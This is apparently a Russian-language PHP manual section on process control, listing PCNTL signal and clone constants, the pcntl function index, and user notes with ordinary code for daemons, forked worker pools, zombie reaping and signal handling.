SIGPOLL (int)
SIGIO (int)
SIGPWR (int)
SIGSYS (int)
SIGBABY (int)
SIG_BLOCK (int)
SIG_UNBLOCK (int)
SIG_SETMASK (int)
SI_USER (int)
SI_NOINFO (int)
SI_KERNEL (int)
SI_QUEUE (int)
SI_TIMER (int)
SI_MSGGQ (int)
SI_ASYNCIO (int)
SI_SIGIO (int)
SI_TKILL (int)
Константы CLD_*
CLD_EXITED (int)
CLD_KILLED (int)
CLD_DUMPED (int)
CLD_TRAPPED (int)
CLD_STOPPED (int)
CLD_CONTINUED (int)
Константы TRAP_*
TRAP_BRKPT (int)
TRAP_TRACE (int)
POLL_IN (int)
POLL_OUT (int)
POLL_MSG (int)
POLL_ERR (int)
POLL_PRI (int)
POLL_HUP (int)
Константы ILL_*
ILL_ILLOPC (int)
ILL_ILLOPN (int)
ILL_ILLADR (int)
ILL_ILLTRP (int)
ILL_PRVOPC (int)
ILL_PRVREG (int)
ILL_COPROC (int)
ILL_BADSTK (int)
Константы FPE_*
FPE_INTDIV (int)
FPE_INTOVF (int)
FPE_FLTDIV (int)
FPE_FLTOVF (int)
FPE_FLTUND (int)
FPE_FLTRES (int)
FPE_FLTINV (int)
FPE_FLTSUB (int)
Константы SEGV_*
SEGV_MAPERR (int)
SEGV_ACCERR (int)
Константы BUS_*
BUS_ADRALN (int)
BUS_ADRERR (int)
BUS_OBJERR (int)
Константы CLONE_*
CLONE_NEWNS (int)
Доступно, начиная с PHP 7.4.0
CLONE_NEWIPC (int)
Доступно, начиная с PHP 7.4.0
CLONE_NEWUTS (int)
Доступно, начиная с PHP 7.4.0
CLONE_NEWNET (int)
Доступно, начиная с PHP 7.4.0
CLONE_NEWPID (int)
Доступно, начиная с PHP 7.4.0
CLONE_NEWUSER (int)
Доступно, начиная с PHP 7.4.0
CLONE_NEWCGROUP (int)
Доступно, начиная с PHP 7.4.0
Константы PRIO_*
PRIO_PGRP (int)
PRIO_USER (int)
PRIO_PROCESS (int)
PRIO_DARWIN_BG (int)
Доступно, начиная с PHP 8.1.0.
PRIO_DARWIN_THREAD (int)
Доступно, начиная с PHP 8.1.0.

User Contributed Notes

coder dot ua at gmail dot com 23-Aug-2014 01:05
You should see all signals and their codes in your system using: kill -l
In my Debian GNU/Linux 7.6 (wheezy):

 1) SIGHUP       2) SIGINT       3) SIGQUIT      4) SIGILL       5) SIGTRAP
 6) SIGABRT      7) SIGBUS       8) SIGFPE       9) SIGKILL     10) SIGUSR1
11) SIGSEGV     12) SIGUSR2     13) SIGPIPE     14) SIGALRM     15) SIGTERM
16) SIGSTKFLT   17) SIGCHLD     18) SIGCONT     19) SIGSTOP     20) SIGTSTP
21) SIGTTIN     22) SIGTTOU     23) SIGURG      24) SIGXCPU     25) SIGXFSZ
26) SIGVTALRM   27) SIGPROF     28) SIGWINCH    29) SIGIO       30) SIGPWR
31) SIGSYS      34) SIGRTMIN    35) SIGRTMIN+1  36) SIGRTMIN+2  37) SIGRTMIN+3
38) SIGRTMIN+4  39) SIGRTMIN+5  40) SIGRTMIN+6  41) SIGRTMIN+7  42) SIGRTMIN+8
43) SIGRTMIN+9  44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9  56) SIGRTMAX-8  57) SIGRTMAX-7
58) SIGRTMAX-6  59) SIGRTMAX-5  60) SIGRTMAX-4  61) SIGRTMAX-3  62) SIGRTMAX-2
63) SIGRTMAX-1  64) SIGRTMAX
eclecticrob at gmail dot com 15-Apr-2012 10:26
On RedHat, the values of the constants are:

Signal SIGHUP = 1
Signal SIGINT = 2
Signal SIGQUIT = 3
Signal SIGILL = 4
Signal SIGTRAP = 5
Signal SIGABRT = 6
Signal SIGIOT = 6
Signal SIGBUS = 7
Signal SIGFPE = 8
Signal SIGUSR1 = 10
Signal SIGSEGV = 11
Signal SIGUSR2 = 12
Signal SIGPIPE = 13
Signal SIGALRM = 14
Signal SIGTERM = 15
Signal SIGSTKFLT = 16
Signal SIGCLD = 17
Signal SIGCHLD = 17
Signal SIGCONT = 18
Signal SIGTSTP = 20
Signal SIGTTIN = 21
Signal SIGTTOU = 22
Signal SIGURG = 23
Signal SIGXCPU = 24
Signal SIGXFSZ = 25
Signal SIGVTALRM = 26
Signal SIGPROF = 27
Signal SIGWINCH = 28
Signal SIGPOLL = 29
Signal SIGIO = 29
Signal SIGPWR = 30
Signal SIGSYS = 31
Signal SIGBABY = 31
Signal SIG_BLOCK = 0
Signal SIG_UNBLOCK = 1
Signal SIG_SETMASK = 2
eclecticrob at gmail dot com 04-Jan-2012 03:43
On OS X, the values of the constants are:

SIGHUP = 1
SIGINT = 2
SIGQUIT = 3
SIGILL = 4
SIGTRAP = 5
SIGABRT = 6
SIGIOT = 6
SIGBUS = 10
SIGFPE = 8
SIGUSR1 = 30
SIGSEGV = 11
SIGUSR2 = 31
SIGPIPE = 13
SIGALRM = 14
SIGTERM = 15
SIGSTKFLT not defined
SIGCLD not defined
SIGCHLD = 20
SIGCONT = 19
SIGTSTP = 18
SIGTTIN = 21
SIGTTOU = 22
SIGURG = 16
SIGXCPU = 24
SIGXFSZ = 25
SIGVTALRM = 26
SIGPROF = 27
SIGWINCH = 28
SIGPOLL not defined
SIGIO = 23
SIGPWR not defined
SIGSYS = 12
SIGBABY = 12
SIG_BLOCK = 1
SIG_UNBLOCK = 2
SIG_SETMASK = 3


Примеры

Содержание

  • Базовое применение

User Contributed Notes

netkiller at msn dot com 21-Oct-2015 09:16
<?php
/*
 * PHP Daemon sample.
 * Home: http://netkiller.github.io
 * Author: netkiller<netkiller@msn.com>
 *
*/
class Logger {

    public function __construct(/*Logging $logger*/) {
    }

    public function logger($type, $message) {
        $log = sprintf ( "%s\t%s\t%s\n", date ( 'Y-m-d H:i:s' ), $type, $message );
        file_put_contents ( sprintf(__DIR__."/../log/sender.%s.log", date ( 'Y-m-d' )), $log, FILE_APPEND );
    }

}

final class Signal{
    public static $signo = 0;
    protected static $ini = null;
    public static function set($signo){
        self::$signo = $signo;
    }
    public static function get(){
        return(self::$signo);
    }
    public static function reset(){
        self::$signo = 0;
    }
}

class Test extends Logger {
    //public static $signal = null;

    public function __construct() {
        //self::$signal == null;
    }
    public function run(){
        while(true){
            pcntl_signal_dispatch();
            printf(".");
            sleep(1);
            if(Signal::get() == SIGHUP){
                Signal::reset();
                break;
            }
        }
        printf("\n");
    }
}

class Daemon extends Logger {
    /* config */
    const LISTEN = "tcp://192.168.2.15:5555";
    const pidfile     = __CLASS__;
    const uid        = 80;
    const gid        = 80;
    const sleep    = 5;

    protected $pool     = NULL;
    protected $config    = array();

    public function __construct($uid, $gid, $class) {
        $this->pidfile = '/var/run/'.basename(get_class($class), '.php').'.pid';
        //$this->config = parse_ini_file('sender.ini', true); //include_once(__DIR__."/config.php");
        $this->uid = $uid;
        $this->gid = $gid;
        $this->class = $class;
        $this->classname = get_class($class);

        $this->signal();
    }
    public function signal(){

        pcntl_signal(SIGHUP,  function($signo) /*use ()*/{
            //echo "\n This signal is called. [$signo] \n";
            printf("The process has been reload.\n");
            Signal::set($signo);
        });

    }
    private function daemon(){
        if (file_exists($this->pidfile)) {
            echo "The file $this->pidfile exists.\n";
            exit();
        }

        $pid = pcntl_fork();
        if ($pid == -1) {
             die('could not fork');
        } else if ($pid) {
             // we are the parent
             //pcntl_wait($status); //Protect against Zombie children
            exit($pid);
        } else {
            file_put_contents($this->pidfile, getmypid());
            posix_setuid(self::uid);
            posix_setgid(self::gid);
            return(getmypid());
        }
    }
    private function run(){

        while(true){

            printf("The process begin.\n");
            $this->class->run();
            printf("The process end.\n");

        }
    }
    private function foreground(){
        $this->run();
    }
    private function start(){
        $pid = $this->daemon();
        for(;;){
            $this->run();
            sleep(self::sleep);
        }
    }
    private function stop(){

        if (file_exists($this->pidfile)) {
            $pid = file_get_contents($this->pidfile);
            posix_kill($pid, 9);
            unlink($this->pidfile);
        }
    }
    private function reload(){
        if (file_exists($this->pidfile)) {
            $pid = file_get_contents($this->pidfile);
            //posix_kill(posix_getpid(), SIGHUP);
            posix_kill($pid, SIGHUP);
        }
    }
    private function status(){
        if (file_exists($this->pidfile)) {
            $pid = file_get_contents($this->pidfile);
            system(sprintf("ps ax | grep %s | grep -v grep", $pid));
        }
    }
    private function help($proc){
        printf("%s start | stop | restart | status | foreground | help \n", $proc);
    }
    public function main($argv){

        if(count($argv) < 2){
            $this->help($argv[0]);
            printf("please input help parameter\n");
            exit();
        }
        if($argv[1] === 'stop'){
            $this->stop();
        }else if($argv[1] === 'start'){
            $this->start();
        }else if($argv[1] === 'restart'){
            $this->stop();
            $this->start();
        }else if($argv[1] === 'status'){
            $this->status();
        }else if($argv[1] === 'foreground'){
            $this->foreground();
        }else if($argv[1] === 'reload'){
            $this->reload();
        }else{
            $this->help($argv[0]);
        }
    }
}

$daemon = new Daemon(80,80, new Test());
$daemon->main($argv);
?>


Базовое применение

Этот пример порождает процесс-демон с обработчиком сигналов

Пример #1 Пример Управления процессами

<?php
declare(ticks=1);

$pid = pcntl_fork();
if ($pid == -1) {
die("Не удалось породить процесс");
} else if ($pid) {
exit(); // это код родителя
} else {
// это дочерний код
}

// Открепление от управляющего терминала
if (posix_setsid() == -1) {
die("Не удалось открепить от терминала");
}

// Установка обработчиков сигналов
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGHUP, "sig_handler");

// Бесконечный цикл выполнения задач
while (1) {

// делаем тут что-то интересное

}

function sig_handler($signo)
{

switch ($signo) {
case SIGTERM:
// обработка сигнала завершения
exit;
break;
case SIGHUP:
// обработка перезапуска задач
break;
default:
// обработка других сигналов
}

}

?>

User Contributed Notes

There are no user contributed notes for this page.


Функции PCNTL

Смотрите также

Обзор раздела о функциях POSIX может быть полезным.

Содержание

  • pcntl_alarm — Задать таймер доставки сигнала SIGALRM
  • pcntl_async_signals — Включить/отключить асинхронную обработку сигналов, либо получить текущий статус
  • pcntl_errno — Псевдоним pcntl_get_last_error
  • pcntl_exec — Запустить указанную программу в области текущего процесса
  • pcntl_fork — Разветвить (fork) текущий запущенный процесс
  • pcntl_get_last_error — Получить код последней ошибки, возникшей в pcntl-функции
  • pcntl_getpriority — Получить значение приоритета процесса
  • pcntl_rfork — Взаимодействует с ресурсами процесса
  • pcntl_setpriority — Изменить приоритет процесса
  • pcntl_signal_dispatch — Вызывает обработчики для ожидающих сигналов
  • pcntl_signal_get_handler — Получить текущий обработчик указанного сигнала
  • pcntl_signal — Установка обработчика сигнала
  • pcntl_sigprocmask — Задаёт и извлекает список блокируемых сигналов
  • pcntl_sigtimedwait — Ожидает сигналы в течение заданного времени
  • pcntl_sigwaitinfo — Ожидание сигналов
  • pcntl_strerror — Получить текст ошибки по её коду
  • pcntl_unshare — Разделяет части контекста выполнения процесса
  • pcntl_wait — Ожидает или возвращает статус порождённого дочернего процесса
  • pcntl_waitpid — Ожидает или возвращает статус порождённого дочернего процесса
  • pcntl_wexitstatus — Получить код возврата завершённого дочернего процесса
  • pcntl_wifexited — Проверяет, соответствует ли код завершения процесса нормальному завершению
  • pcntl_wifsignaled — Проверить, соответствует ли код завершения процесса завершению по сигналу
  • pcntl_wifstopped — Проверить, остановлен ли дочерний процесс
  • pcntl_wstopsig — Получить сигнал, из-за которого был остановлен дочерний процесс
  • pcntl_wtermsig — Получить сигнал, из-за которого был принудительно завершён дочерний процесс

User Contributed Notes

debasiss at mindfiresolutions dot com 07-Jun-2019 04:22
<?php
/**
 * @file
 * Working demo of simulating parallel process in PHP.
 */

// ****                       **** //
print "Main program started.... \n";
// Start two child processes.
createProcess("Job1");
createProcess("Job2");
print " *** Child Process started *** \n";

while (TRUE) {

 $pid = pcntl_waitpid(0, $status, WNOHANG);
    if ($pid > 0) {
        childProcessComplete($pid);
    }else if($pid === -1){
        print " *** Child Process Completed *** \n";
        allChildProcessComplete();
        exit();
    }

}
print "Main program end. \n";

/**
 * Method to start child process.
 */
function startChildProcess($childProcessName) {
    $executionTime = rand(5, 10);

    if($childProcessName === "Job1"){
        print "Starting Job1 on processId " .getmypid()."  at " . date('l jS \of F Y h:i:s A') . " expected time $executionTime seconds\n";
    }else if($childProcessName === "Job2"){
        print "Starting Job2 on processId " .getmypid()."  at " . date('l jS \of F Y h:i:s A') . " expected time $executionTime seconds\n";
    }

    // Simulate doing actual work with sleep().
    sleep($executionTime);
}

/**
 * Method to notify when system unable to start a process.
 */
function errorOnProcessLunch() {
    print "Failed to lunch process \n";
}

/**
 * Method to notify when a child process complete the task.
 */
function childProcessComplete($pid) {
    print "Child processing is done for $pid  at " . date('l jS \of F Y h:i:s A') . " \n";
}

/**
 * Method to create a new process.
 */
function createProcess($pname) {
    $pid = pcntl_fork();

    if ($pid == -1) {
        errorOnProcessLunch();
    }
    else if ($pid === 0) {
        startChildProcess($pname);
        exit(); // Make sure to exit.
    }
    else {
        startParentProcess($pid);
    }

}

/**
 * Method to notify when parent thread execute.
 */
function startParentProcess($childProcessID){
    print "In parent thread created child processid $childProcessID \n";
}

/**
 * Method to notify when all child process has completed the task.
 */
function allChildProcessComplete(){
    print "All child processing completed \n";
}

?>
kevin at vanzonneveld dot net 05-Sep-2008 03:29
If you want to create a daemon in PHP, consider using System_Daemon http://pear.php.net/package/System_Daemon

Install it like this:
pear install -f system_daemon

Then use it like this:
<?php
// Include PEAR's Daemon Class
require_once "System/Daemon.php";

// Bare minimum setup
System_Daemon::setOption("appName", "mydaemonname");

// Spawn Deamon!
System_Daemon::start();

// Your PHP Here!
while (true) {
    doTask();
}

// Stop daemon!
System_Daemon::stop();
?>

More examples can be found inside the PEAR package.
m dot quinton at gmail dot com 08-Apr-2008 12:02
a nice example of a class framework to manage tasks using pcntl_fork.

<?php

/**
 * author : Marc Quinton / April 2008.
 *
 *  a simple task management framework using pcntl_fork, pcntl_wait.
 *
 *  - see at bottom for a sample usage.
 *  - you shoud overring Task class (SleepingClass is an example), and manage them in a pool, using taskManager
 */

error_reporting(E_ALL);

class Task {

    protected $pid;
    protected $ppid;

    function __construct(){
    }

    function fork(){
        $pid = pcntl_fork();
        if ($pid == -1)
            throw new Exception ('fork error on Task object');
        elseif ($pid) {
            # we are in parent class
            $this->pid = $pid;
            # echo "< in parent with pid {$his->pid}\n";
        } else{
            # we are is child
            $this->run();
        }
    }

    function run(){
        # echo "> in child {$this->pid}\n";
        # sleep(rand(1,3));
        $this->ppid = posix_getppid();
        $this->pid = posix_getpid();
    }

    # call when a task in finished (in parent)
    function finish(){
        echo "task finished {$this->pid}\n";
    }

    function pid(){
        return $this->pid;
    }
}

class SleepingTask extends Task{
    function run(){
        parent::run();
        echo "> in child {$this->pid}\n";

        # print_r($this);

        sleep(rand(1,5));
        echo "> child done {$this->pid}\n";
        exit(0);
    }
}

class TaskManager{

    protected $pool;

    function __construct(){
        $this->pool = array();
    }

    function add_task($task){
        $this->pool[] = $task;
    }

    function run(){

        foreach($this->pool as $task){
            $task->fork();
        }

        # print_r($this);
        # sleep(60);

        while(1){
            echo "waiting\n";
            $pid = pcntl_wait($extra);
            if($pid == -1)
                break;

            echo ": task done : $pid\n";
            $this->finish_task($pid);
        }

        echo "processes done ; exiting\n";
        exit(0);
    }

    function finish_task($pid){
        if($task = $this->pid_to_task($pid))
            $task->finish();
    }

    function pid_to_task($pid){
        foreach($this->pool as $task){
            if($task->pid() == $pid)
                return $task;
        }
        return false;
    }
}

$manager = new TaskManager();

for($i=0 ; $i<10 ; $i++)
    $manager->add_task(new SleepingTask());

$manager->run();

?>
registrazioni at XSPAMX dot tassetti dot net 05-Sep-2007 09:12
(PHP 5.2.4)

This is an example of multithreading keeping different connections to a mysql database: when children exit they close the connection and others can't use it any more generating problems. In this example I used variable variables to make a different connection per each child.

This scripts loops forever with one mother detached from the terminal and five children 'named' from 1 to 5. When one children sees it's name in the database (one table 'test.tb' with only one field 'test') he lets himself die. To kill children insert their value in the db. The mother suicides only when all children are dead.

What a sad but interesting story...

    $npid = pcntl_fork(); // DETACH FROM TERMINAL AND BE REAPED BY INIT

    if ($npid==-1) die("Error: impossible to pcntl_fork()\n");
    else if ($npid) exit(0); // THE GRANPA DIES
    else // MOTHER GOES ON TO MAKE CHILDREN
    {
        $children = 5;
        for ($i=1; $i<=$children; $i++)
        {
            $pid = pcntl_fork();
            if ($pid==-1) die("Error: impossible to pcntl_fork()\n");
            else if ($pid)
            {
                 $pid_arr[$i] = $pid;
            }
            if (!$pid) // CHILDREN
            {
                global $vconn;
                $vconn = "vconn$i";
                global $$vconn;
                $$vconn = @mysql_connect("mydbhost","mydbuser","mydbpwd");
                if (!($$vconn)) echo mysql_error();
                if (!($$vconn)) exit;

                while (1)
                {
                    $query = "SELECT test FROM test.tb";
                    $rs = mysql_query($query,$$vconn);
                    $rw = mysql_fetch_row($rs);
                    if ($rw[0]==$i) exit;
                    else
                    {
                        echo "Database is $rw[0] and I am $i, it's not my time, I will wait....\n";
                        sleep(1);
                    }
                }
            }
        }

        foreach ($pid_arr as $pid)
        {
            // we are the parent and we wait for all children to die
            pcntl_waitpid($pid, $status);
        }
        echo "All my children died, I will suicide...\n";
        exit();
    }
flyingguillotine1968 at yahoo dot com 12-Aug-2007 05:16
ok, heres what ya do to handle child process's ... :>

you want to pfork your main program, and let it exit,
allowing the new child to become the main program (parent process).

example psudo code :
main program start;
     ....
     if pfork'd child ok
          then exit ;

    // now your new child process is in control...
    // use a signal handler to make it exit (sigkill or sigterm probably)
    // when this new process pforks, store the new child PID's in an
    // array.   when your process  catch's the sigterm  signal
    // loop thru the array of its child PID's sending each child
    // sigkill , then call  pwait on them to wait for them to exit.
    // this will make sure any child process are cleaned up ok
    // THEN .. now here's the trick....
    // reset yer sigterm handler BACK to its original default handler,
   // thennnnn   raise sigterm , main program will exit ok now tooooo :>

example:
when your pfork'd main process gets sigterm ... then do something
like this :

foreach ($this->pForkList as $kiddie) {
$deadPID    = 0;
$this->sendSignal(SIGKILL,$kiddie);
do {
$deadPID = pcntl_waitpid(-1,WNOHANG);
if ($deadPID > 0) {
// kiddie has exited now ...
unset($this->pForkList[ array_search($deadPID,$this->pForkList)]);
break;
} // end if
} while ($deadPID == 0);

} // end for

// now reset sigterm ...
$this->signalSet($sigNum,SIG_DFL);
// RAISE sigterm now ...
$this->sendSignal(SIGTERM,$this->myPID);

this will allow your main process and all its child process's to exit properly and not leave and zombies or other bad stuff behind !
kementeusNOSPAM at gmail dot com 28-Dec-2006 09:43
In the example of the documentation we need to put the pctnl_signal statements BEFORE the while loop.

In that way we can execute whatever we put in the signal handler functions.
corychristison at lavacube dot com 02-Nov-2004 06:53
An easier way than what was first suggested in the first comment, to retrieve what signal your application is being sent would be to use get_defined_constants() to list all constants, loop through and strip out those that are not signals, and to check if it matches the value.

Here is my code for doing this, written for PHP5 only.
<?php

// php5 Specfic

function pcntl_sig_identify ( $sig_no ) {
    $get_constants = get_defined_constants(true);
    $pcntl_contstants = $get_constants["pcntl"];
    $keys = array_keys( $pcntl_contstants );
      foreach($keys as $key){
        if(strstr($key, "SIG") && !strstr($key, "_") && $pcntl_contstants[$key] == $sig_no){
      return $key;
    }
      } // end loop
} // end function pcntl_sig_identify

//
// This example will output "SIGTERM"
//

print pcntl_sig_identify(15) . "\n";

?>
andy at cbeyond dot net 20-Aug-2004 09:26
Suppose you want to fork off children to handle a few hundred different targets (like, say, SNMP polling, but that's just one example).  Since you don't want to fork-bomb yourself, here's one method of limiting the number of children you have in play at any one time:

#!/usr/bin/php -q
<?php
declare(ticks = 1);

$max=10;
$child=0;

// function for signal handler
function sig_handler($signo) {
  global $child;
  switch ($signo) {
    case SIGCHLD:
      echo "SIGCHLD received\n";
      $child -= 1;
  }
}

// install signal handler for dead kids
pcntl_signal(SIGCHLD, "sig_handler");

for ($i=1;$i<=20;$i++) {
        while ($child >= $max) {
                sleep(5); echo "\t Maximum children allowed\n";
                }
        $child++;
        $pid=pcntl_fork();
        if ($pid == -1) {
                die("could not fork");
        } else if ($pid) {
                // we are the parent
        } else {
                // we are the child
                echo "child number $i\n";
                // presumably doing something interesting
                sleep(15);
                exit;
        }
}
04-Dec-2003 03:52
in example 1, i found unless i create function sig_handler _BEFORE_ pcnt_signal, it wouldnt work.. and would just fall to the floor bleeding to death

(note for people having these kinda probs)
cameronNO_SPAM at tripdubdev dot com 18-Nov-2003 12:36
I'm currently working on some code for this, but in case I forget to come back to post to the board, or in case it takes me a while, why not just have a separate background job running (started up via the shell) that tracks which sockets are available to clients ?  Then all you'd have to do is communicate with the one job (or perhaps its own mini-server) run in the background that keeps an array of the available sockets for the server.  This seems the most natural alternative since PHP disclaims that process control functionality should not be used in a web-server environment.  I would hate to build a server, especially one with high traffic, that had to run through a loop in order to find an available socket.
luca dot mariano at email dot it 12-Nov-2003 06:49
Hi folks,
if someone uses PHP-CLI onWin32 and wants to experiment the PCNTL stuff, I've packed a binary version of PHP with built-in pcntl, shmop, sysvshm and other typical Unix extensions... (thanks to Cygwin DLLs).
Download it: http://phplet.sf.net/modules.php?name=Web_Links&l_op=visit&lid=4
jeremy at nirvani dot net 15-Oct-2003 08:54
#!/usr/local/bin/php -q
<?php

# Jeremy Brand <jeremy@nirvani.net>
# http://www.nirvani.net/

# ./configure --enable-pcntl --enable-sigchild
# make
# make install

# This code example shows how to use a script to do multiprocessing.  Each time
# this script is ran, the result is 5 (in this example) processes running to
# accomplish a specified task.

# Examples could be a messaging queue.  You could get the number of messages in
# a queue and handle any or all of them asynchronously.

# Get the number of children you want to be born by running this
# script once.
$children = 5; # likely a function call here.

for ($i=1; $i<=$children; $i++)
{

  $pid = pcntl_fork();
  if ($pid == -1)
  {
    die("could not fork\n");
  }
  else if ($pid)
  {
    # If we are the parent, we did our job of giving birth,
    # now lets finish our job and die!
    exit(0);
  }
  else
  {
    # Since we are the child, fork so that init will become our parent.  Init
    # is good at wait()ing on children - ie: reaping.
    $cpid = pcntl_fork();
    if ($cpid == -1)
    {
      die("could not fork in child process\n");
    }
    if (!$cpid)
    {
      # We have now forked off from our parent and also are not waiting on any
      # other children to process, however other children are running
      # simutaniously to us.  Make sure the code you write here is safe to run
      # in this environment of multiprocessing - ie: proper locking, etc.
      # Write the custom code here that you want to multiprocess.

      # ADD CODE HERE TO MULTIPROCESS
      print "we are child number $i\n";

      # Don't forget to exit after the child processing is done.  Certainly
      # change this exit code if you need to however.
      exit(0);
    }
  }
}

?>
David Koopman 14-Sep-2003 01:32
I had a hard time finding a complete example of using PHP as a multi-process (or multi-threaded - I don't understand the difference in these two terms) daemon using connection pooling.  I put pieces of the puzzle together and came up with the program below.  I hope it helps someone.  Notes about making this work:

1) I rebuilt PHP on my machine with these config options:
./configure --enable-sockets --enable-pcntl --enable-sigchild
make
make install

2) I have problems when tried to handle SIGTERM and SIGHUP myself, so I removed these from my code, don't use them unless you have a special need for this:
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGHUP, "sig_handler");

What I do is:
1. start the program, then fork to detach from the terminal (kill the parent and make the child the session leader).

2. bind to address and port and start listening.

3. fork $poolNum times, creating $poolNum children (this is the pool of daemons running.  The children handle the incoming connections).

4. keep the parent process running in a loop, constantly checking to see if it should create a new child.  It will always keep $poolNum spare children ready (as long as the total pooled connections doesn't exceed $maxDaemon).  As connections come in, more children are spawned.

5. When a new connection comes in, it is handed off to the first child.  This child then sends a SIGUSR1 signal back to the parent.  The parent has a signal handler for SIGUSR1, which will increment the $numActive variable by one.  The loop that is running (see 4 above) will note the increment in $numActive and automatically create a new child process to keep the process pool going.

I have to post the code in the next note, the note engine on this site won't allow such a long note to be posted, but I think this code example is well worth a comment on this...
schst at php dot net 01-Sep-2003 07:39
To get rid of the zombies when child processes terminate you do not have to write a lot of code that uses complex stuff like message queues.
Instead you only set a signal handler:

pcntl_signal(SIGCHLD, SIG_IGN);

Stephan
Patrice Levesque 14-Jun-2003 01:11
So, you want to create multiple child processes and don't want any zombies, don't you?

You can use IPC to achieve just that.  Every child that is spawned has to tell its parent that time has come for him to be terminated.  So, yes, zombies will be created, but once in a while the parent will 'clean up' after his kids.  Code:

<?php
  declare(ticks = 1);
  // create a IPC message queue
  $msgqueue = msg_get_queue(ftok("/tmp/php_msgqueue.stat", 'R'),0666 | IPC_CREAT);
  // loop for 1000 children
  for ($c = 0; $c < 1000; $c++) {
    // fork
    $pcid = pcntl_fork();
    if ($pcid == -1) {
      die("Could not fork!");
    }
    elseif ($pcid) { // we are the parent, look for zombie kids and terminate 'em
      // look in the IPC message queue if there are any entries
      $currentqueue = msg_stat_queue($msgqueue);
      $n = $currentqueue['msg_qnum']; // number of messages (number of kids to terminate)
      if ($n > 0) {
        echo "There are $n kids to terminate.\n";
        for ($i = 0; $i < $n; $i++) {
          // pop the kid's PID from the IPC message queue
          if (!msg_receive ($msgqueue, 1, $msg_type, 16384, $msg, true, 0, $msg_error)) {
            echo "MSG_RECV ERROR: $errmsg \n"; // something has gone wrong
          }
          else {
            pcntl_waitpid($msg, $tmpstat, 0); // terminate kid for real.
          };
        };
      };
    }
    else { // we are the child!
      if (!posix_setsid()) { die ("Could not detach"); }; // detach
      echo "I am child number $c\n";
      sleep(5); // do something useful
      // tell dad I'm finished via IPC: send him my PID
      if (!msg_send($msgqueue, 1, posix_getpid(), true, true, $errmsg)) {
        echo "MSG_SEND ERROR: $errmsg \n";
      };
      exit(); // become a zombie until dad kills me
    };
  };
?>
van[at]webfreshener[dot]com 10-Oct-2002 07:53
Forking your PHP daemon will cause it to zombie on exit.

...or so I've seen on:
FreeBSD (PHP4.2.x)
Debian (PHP4.3.0-dev)
Darwin (PHP4.3.0-dev)

This was tested with the example code above and other scripts created for evaluation.

Seems adding --enable-sigchild to your configure will get rid of the problem.

Hope that saves some hair tearing :]
keksov[at]gmx.de 29-May-2002 10:10
You have to use socket_select before socket_accept, so your code will wait for connection with select. socket_select can be interrupted by signals easily. Below is an example from my library (methods of class TNetSocket):
  //-- select
  function select($aread=NULL,$awrite=NULL,$aexcept=NULL,$timeout=NULL)
  {
    while(1)
    {
      $res="";
      $res=socket_select($aread, $awrite, $aexcept, $timeout);

      // if errno===0 it means what select was interrrupted by SysV signal
      if($res===false && socket_last_error($this->socket())!==0)
      { // error occured, interrupted not by a signal
        $this->set_socket_error(__LINE__);
        return(false);
      }
      break;
    }
    return(true);
  }

  //-- accept, wait for incomming connection
  function accept()
  {
    $this->clear_socket_error();
    $this->set_io_socket(_SOCKET_);

    $socket=$this->socket();
    $aread=array($socket);
    if ($this->select($a=&$aread)===false)
      return(false);

    $child_socket=socket_accept($this->socket);
    if($child_socket <= 0)
    { // error occured
      $this->set_socket_error(__LINE__);
      return(false);
    }

    $this->child_socket=$child_socket;
    $this->sockets[_CHILD_SOCKET_]=&$this->child_socket;
    $this->set_io_socket(_CHILD_SOCKET_);

    $a=&$this->peername;
    $res=socket_getpeername($child_socket,$a);

    if($res <= 0)
    { // error occured
      $this->set_socket_error(__LINE__);
      return(false);
    }

    $this->get_address_and_port(_CHILD_SOCKET_);
    TLogManager::phpserv("Connection accepted. ADDRESS $this->address, PORT $this->port","net_socket",__FILE__,__LINE__);

    $this->connected=true;
    return(true); // return new object of TNetSocket type
  }
daniel[at]lorch.cc 27-Feb-2002 03:48
This piece of code helped me to find out what signals are being sent to my process:

function sig_identify($signo) {
  switch($signo) {
    case SIGFPE:    return 'SIGFPE';
    case SIGSTOP:   return 'SIGSTOP';
    case SIGHUP:    return 'SIGHUP';
    case SIGINT:    return 'SIGINT';
    case SIGQUIT:   return 'SIGQUIT';
    case SIGILL:    return 'SIGILL';
    case SIGTRAP:   return 'SIGTRAP';
    case SIGABRT:   return 'SIGABRT';
    case SIGIOT:    return 'SIGIOT';
    case SIGBUS:    return 'SIGBUS';
    case SIGPOLL:   return 'SIGPOLL';
    case SIGSYS:    return 'SIGSYS';
    case SIGCONT:   return 'SIGCONT';
    case SIGUSR1:   return 'SIGUSR1';
    case SIGUSR2:   return 'SIGUSR2';
    case SIGSEGV:   return 'SIGSEGV';
    case SIGPIPE:   return 'SIGPIPE';
    case SIGALRM:   return 'SIGALRM';
    case SIGTERM:   return 'SIGTERM';
    case SIGSTKFLT: return 'SIGSTKFLT';
    case SIGCHLD:   return 'SIGCHLD';
    case SIGCLD:    return 'SIGCLD';
    case SIGIO:     return 'SIGIO';
    case SIGKILL:   return 'SIGKILL';
    case SIGTSTP:   return 'SIGTSTP';
    case SIGTTIN:   return 'SIGTTIN';
    case SIGTTOU:   return 'SIGTTOU';
    case SIGURG:    return 'SIGURG';
    case SIGXCPU:   return 'SIGXCPU';
    case SIGXFSZ:   return 'SIGXFSZ';
    case SIGVTALRM: return 'SIGVTALRM';
    case SIGPROF:   return 'SIGPROF';
    case SIGWINCH:  return 'SIGWINCH';
    case SIGPWR:    return 'SIGPWR';
  }
}

function sig_handler($signo) {
  echo "Caught " . sig_identify($signo) . " (" . $signo  . ") on " . posix_getpid() . "\n";
}

pcntl_signal(SIGFPE, "sig_handler");
pcntl_signal(SIGHUP, "sig_handler");
// pcntl_signal(SIGINT, "sig_handler");
pcntl_signal(SIGQUIT, "sig_handler");
pcntl_signal(SIGILL, "sig_handler");
pcntl_signal(SIGTRAP, "sig_handler");
pcntl_signal(SIGABRT, "sig_handler");
pcntl_signal(SIGIOT, "sig_handler");
pcntl_signal(SIGBUS, "sig_handler");
pcntl_signal(SIGPOLL, "sig_handler");
pcntl_signal(SIGSYS, "sig_handler");
pcntl_signal(SIGCONT, "sig_handler");
pcntl_signal(SIGUSR1, "sig_handler");
pcntl_signal(SIGUSR2, "sig_handler");
